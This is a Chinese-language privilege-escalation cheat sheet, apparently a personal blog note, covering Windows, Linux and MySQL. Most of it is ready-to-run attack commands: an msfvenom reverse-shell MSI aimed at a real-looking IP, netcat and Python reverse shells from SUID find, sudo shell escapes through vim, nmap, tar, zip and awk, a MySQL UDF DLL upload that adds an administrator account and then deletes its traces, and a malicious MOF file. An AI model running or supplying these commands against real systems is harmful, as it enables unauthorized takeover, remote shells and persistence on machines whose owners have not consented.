信息搜集
systeminfo | findstr /L /C:OS /C:KB
hostname //主机名
echo %username% //当前用户
net user //所有用户
sc qc Everything //查看服务权限
Windows
溢出提权
WMIC命令
wmic qfe list //查看计算机补丁安装情况
wmic product get name,version //查看是否是虚拟机
wmic cpu get addresswidth //查看系统位数
Searchsploit、Metasploit查找exp
例如 MS15-051.exe "whoami"
无引号路径提权 Trusted Service Paths
利用服务启动时检索程序,如果路径有空格且没有引号闭合,会优先检索空格前的路径,比如C:\Program Files\Common Files\Everything\Everything.exe,会优先检索C盘下的Program,然后检索Program Files下的Common,所以可以利用这个特性劫持服务启动
查看有没有加引号的服务路径
vmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
加入恶意程序达到提权目的
icacls "C:\Program Files\" //查看当前用户对该目录的权限 F为完全控制 M为修改权限
用工具(msf,cs等等)生成反弹shell程序上传到对应路径下
mis提权
AlwaysInstallElevated是注册表的一个键值(windows 2003),
当其值为1的时候,普通用户即可以system权限安装msi程序。
当前用户权限是否能够更改MSI安装时的启用状态,如不能修改则必须为启用方可使用本次提权技术。
gpedit.msc
用户配置>>管理模板>>Windows 组件>>Windows Installer>>始终以提升的权限进行安装 已启用
.msi是系统安装文件
启动状态才可以成功
判断是否存在window本地提权安全问题:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
生成利用的MSI文件:
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=5555 -f msi -o xiaodi.msi
执行MSI:
msiexec /quiet /qn /i xiaodi.msi
烂土豆提权
P0tato.exe -p whoami
计划任务提权
进程注入提权
Linux
SUID提权
?cmd=system("find test -exec whoami\;");
这里调用了find指令
而find指令所有者为root权限
导致exec后面的指令继承了权限.
手工命令探针安全:
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {}
find / -perm -u=s -type f 2>/dev/null
存在 Nmap/Vim/find/Bash/More/Less/Nano/cp之一,就有可能存在SUID提权
touch xiaodi
会创建一个xiaodi的目录
然后通过搜索xiaodi并携带命令达到system的权限执行命令
find xiaodi -exec whoami \;
利用NC反弹:
find xiaodi -exec netcat -lvp 5555 -e /bin/sh
netcat xx.xx.xx.xx 5555
利用Python反弹:
find xiaodi -exec python -c
'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("47.94.236.117",7777));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -lvp 7777
SUDO提权
查询可用sudo命令
sudo -l
find
sudo find /bin/ -name ls -exec /bin/bash \;
git
sudo git -p help //强制进入交互状态,必须让页面缓冲区无法显示全部信息(放大字体/缩小显示区域即可)。
!/bin/bash
su
sudo su - root
vim
sudo vim -c '!sh
nmap
echo "os.execute('/bin/sh')">/tmp/shell.nse
sudo nmap --script=/tmp/shell.nse
more
sudo more /etc/rsyslog.conf
!/bin/bash
zip
sudo zip /tmp/1.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
1.zip: 是随手添加进去的一个zip文件
-T
: 表示测试1.zip的完整性
--unzip-command
与-T
一起使用,可以指定自定义命令用于解压1.zip
tar
sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash
–checkpoint-action 选项是提权点,可以自定义需要执行的动作,指定为exec=/bin/bash,获取一个root权限的shell
strace
sudo strace -o/dev/null /bin/bash
strace
: 以root权限运行跟踪调试/bin/bash, 从而获取root权限的shell
ftp
sudo ftp
ftp> !/bin/bash
passwd
sudo passwd
Enter new UNIX password:
Retype new UNIX password:
awk
sudo awk 'BEGIN {system("/bin/bash")}'
计划任务提权
数据库提权
MySQL
UDF提权
1、将udf文件放到指定位置
2、从udf文件中引入自定义函数
3、执行自定义函数
将获得的udf.dll文件转换成16进制
SELECT hex(load_file(0x433a5c5c55736572735c5c6b61316e34745c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile 'C:\\Users\\ka1n4t\\Desktop\\udf.txt';
load_file中的十六进制是'C:\\Users\\ka1n4t\\Desktop\\lib_mysqludf_sys.dll'
把本地的udf16进制形式上传webshell
1. CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
2. INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
3. SELECT c FROM udftmp INTO DUMPFILE 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
//对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\
为了删除痕迹,把刚刚新建的udftmp表删掉
DROP TABLE udftmp;
导入udf函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
提权成功
SELECT sys_eval('ipconfig');
几个常用的cmd指令,用于添加一个管理员用户
net user ka1n4t ka1n4t~!@ /add //添加新用户:ka1n4t,密码为ka1n4t~!@
net localgroup administrators ka1n4t /add //将ka1n4t添加至管理员分组
MOF提权
"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡.
mof文件代码如下所示
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。
替换的sql语句:
select load_file('D:\wamp\xishaonian.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
标签:bin,sudo,初入,提权,udf,随笔,find,bash
From: https://www.cnblogs.com/IceSeclude/p/16829443.html